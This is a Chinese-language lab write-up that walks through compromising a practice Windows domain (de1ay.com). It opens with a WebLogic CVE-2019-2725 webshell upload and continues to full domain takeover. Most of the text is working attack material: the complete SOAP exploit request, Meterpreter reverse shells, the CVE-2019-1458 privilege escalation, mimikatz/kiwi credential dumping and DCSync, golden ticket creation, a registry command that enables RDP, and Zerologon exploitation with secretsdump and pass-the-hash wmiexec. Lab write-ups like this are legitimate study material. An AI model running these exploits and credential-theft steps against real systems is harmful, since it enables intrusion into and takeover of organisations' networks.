文章目录
一、环境搭建
前置操作
访问192.168.147.80:7001/console进行加载配置
至此环境搭好了
二、拿下边界服务器
第一步信息收集,nmap开扫,发现存在weblogic服务
上weblogicscan,发现漏洞cve-2019-2725
利用cve-2019-2725进行webshell上传,上传后webshell路径为
http://192.168.147.80:7001/bea_wls_interna/webshell.jsp
值的注意的是,这里要用POST方式,且HTTP头中需要有content-type: text/xml。否则会爆500错误
payload:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.147.80:7001
Content-Length: 3260
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string><void method="println"><string><![CDATA[
复制Webshell到此处
]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
上传哥斯拉webshell,获取webshell后,联动msf使用了哥斯拉自带的java回弹shell发现没有getsystem等命令,从万能的百度中得出答案很可能是载荷问题,这里用的是哥斯拉自带的的set payload java/meterpreter/reverse_tcp,为了避免出现更多的其他问题,这里新生成windows/x64/meterpreter/reverse_tcp的载荷,做个分离免杀,上传到目标机器,并通过哥斯拉的虚拟终端执行,成功获得回弹shell。
三、域渗透
这里使用了两种不同的方法来获取域控
Part1.通过伪造黄金票据获取域控
首先,需要明白伪造金票的前提:
- 域名称
- 域的SID值 #通过whoami /user 去掉最后横线的数字剩下的就是SID
- 域的KRBTGT账户NTLM-HASH(只有在域控中,或者是域内Client中才能导出krbtgt用户的hash)
- 伪造的用户名,可以是任意用户名
这里加载kiwi模块来读取web服务器中的账号密码(mimikatz已更新为kiwi)
load mimikatz #或者use kiwi也行,效果是一样的
1.1弯路
(因为第一次使用kiwi,看网上说要在system权限下才能用,结果后来发现,system下有些模块没法用,就比如dcsync模块和kiwi 调用mimikatz读取kerbtgthash的命令就没法用,而在Administrator权限下则能正常使用。当然,读取密码等命令就需要在system下才能用。而这里就是踩坑的记录,不想看可跳转至直路)
因为kiwi需要system权限,因此我直接尝试getsystem,但是并没有成功。于是打算手动提权。
手动提权
因为kiwi需要system权限,因此我直接尝试getsystem,但是并没有成功。于是打算手动提权。
将session放到后台,使用local_exploit_suggester查询可用的exp
background
use local_exploit_suggester
show options
set session 4
run
从返回结果中发现有很多提权的漏洞能使用,这里用个最新的cve-2019-1458,成功返回一个新的shell给我们,并且是system,接着就是读密码了
use exploir/windows/local/cve_2019_1458_wizardopium
show options
set session 4
set lport 5555#图有点问题,这里4444已经被占用了,因此要改成其他端口。当然不改也行,但是好像会顶掉前面的msf shell。我这里就没改
run
加载kiwi模块读取密码明文
use kiwi
#使用help kiwi可以查看有什么命令
creds_all
成功获取域控密码。但这里主题是伪造票据,因此我们还不能结束。
读取krbtgt哈希
这里直接使用kiwi_cmd 调用mimikratz抓krbtgt 哈希出现问题,分析发现执行时,会把空格后的当作新命令,而不是参数。如图
百度一波,没找到原因(万能的百度倒下了)。打开小飞机,google得出解决办法:使用转义符号\转义双引号即可。
但又出现了新的问题,报出错误码8439,只能继续google,无果。后来知道这是因为system权限的原因。
只好上传mikiratz到目标机器上操作。(这里是通过3389操作的,使用命令 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 来打开3389端口,然后使用前面获取到的密码来登录)
成功获取制作票据的所有条件
lsadump::dcsync /domain:hacker.com /user:krbtgt
1.2直路
我们的msfshell当前权限直接就是Administrator
一条命令完事,成功获取所有前提
use kiwi
dcsync de1ay\\krbtgt#第一个\是转义符号
1.3伪造金票
总结我们获取的数据:
域 :de1ay.com
krbtgt hash :82dfc71b72a11ef37d663047bc2088fb
SID:S-1-5-21-2756371121-2868759905-3853650604
使用kiwi的金票伪造,在本地目录中可以找到票据。
生成票据
golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u Administrator -t //usr//mytool//888.ticket
向需要提权的计算机导入票据
这里以w7做实验对象。先给w7上传一个msf马,然后连接。
kerberos_ticket_use /usr/mytool/888.ticket
分别是导入前后的效果。成功访问,之前没权限访问的资源。
Part2.通过域内提权漏洞获取域控
上述操作的前提是受控计算机有Administrator权限,但现实中往往没那么顺利,比如域管如果没登录过这台机器,那我们上述操作就死在第一步了。于是回到最初,假设我们无法通过该机器获取域管账号及权限的前提来重新打一波。
这里从获取webshell及给w2003server上传msf 马并获取shell开始。
前提:假设已经获取了w2003的权限并且开启了3389,但是w2003无法获取域管账号及权限。
上传nmap到目标计算机进行内网扫描。
没发现有其他web或者数据库服务,只有135、139、445等端口,但又不想用ms17-010来操作。
突然想试试前阵子新出的漏洞CVE-2020-1472。
同时上传ew+frp到目标机器上准备做内网穿透(内网穿透详情看之前写的vulnstack1)
CVE-2020-1472
原理:略
作用:可利用该漏洞将域控的计算机的机器账号密码置为控(!!这里置空的不是用户账号),从而控制域控服务器
这里用到的exp有
1.https://github.com/dirkjanm/CVE-2020-1472中的cve-2020-1472-exploit.py(不知道是我操作问题还是还原密码脚本问题,死活还原不了,所以找了另一个大佬写的还原exp来用)
2.https://github.com/risksense/zerologon中的reinstall_original_pw.py(问题同上,置空一直失败)
3.impacket工具包
复现过程
查看机器账号
从这里得知机器账号为DC 也叫netbios名,加上$就是机器名(主机名)。而cve-2020-1472置空的就是这个机器账号的密码
net view
#使用命令 net group "Domain Controllers" /domain 更好
#通过ping 域名就能得到域控的ip
使用攻击脚本置空密码
proxychains python3 /home/momo/桌面/cve/CVE-2020-1472-master/cve-2020-1472-exploit.py DC 10.10.10.10
使用空密码登录并导出域控中密码的hash
这里是使用计算机机器帐户及其哈希进行身份验证然后从NTDS.DIT文件中远程dump域内所有密码哈希。
可见机器密码为空
这里\是转义符;hash值31d6cfe0d16ae931b73c59d7e0c089c0代表空
proxychains python3 secretsdump.py de1ay.com/DC\$@10.10.10.10 -no-pass
利用域管账号的hash进行连接
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10
下载目标的sam文件为下一步恢复机器密码做准备
SAM文件即账号密码数据库文件
(可能sam中的密码是在重启之后才会更新的?不然没法解释为什么还能找到原密码)
在wmi shell下执行下述命令,下载的SAM文件可在impacket的目录下的examples中找到
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
破解sam文件查看过去的机器密码
proxychains python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
恢复原密码
使用还原exp来还原密码
proxychains python3 /home/momo/桌面/cve/zerologon-master/reinstall_original_pw.py DC 10.10.10.10 76c7e90351db186f6bb846e57b03652f
至此,利用结束。此后我们就可以利用前面的域管hash来操控域控了。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10